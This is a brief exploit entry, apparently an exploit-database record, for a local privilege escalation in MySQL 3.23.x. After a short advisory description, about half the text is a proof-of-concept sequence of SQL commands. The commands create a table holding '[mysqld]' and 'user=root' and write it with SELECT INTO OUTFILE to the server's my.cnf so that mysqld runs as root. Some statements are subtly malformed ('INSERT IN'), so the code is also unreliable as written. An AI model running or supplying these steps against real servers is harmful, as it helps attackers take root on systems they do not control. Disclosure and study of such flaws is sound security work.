MySQL 3.23.x - 'mysqld' Local Privilege Escalation

source: https://www.securityfocus.com/bid/7052/info

A vulnerability has been discovered for MySQL that may allow the mysqld service to start with elevated privileges.

An attacker can exploit this vulnerability by creating a DATADIR/my.cnf that includes the line 'user=root' under the '[mysqld]' option section.

When the mysqld service is executed, it will run as the root user instead of the default user.

This may allow an attacker to obtain elevated privileges on a compromised system.

mysql>CREATE DATABASE roottext;
mysql>USE roottext;
mysql>CREATE TABLE hack (conf VARCHAR(80));
mysql>INSERT IN hack VALUES ('[mysqld]');
mysql>INSERT IN hack VALUES ('user=root');
mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
mysql>QUIT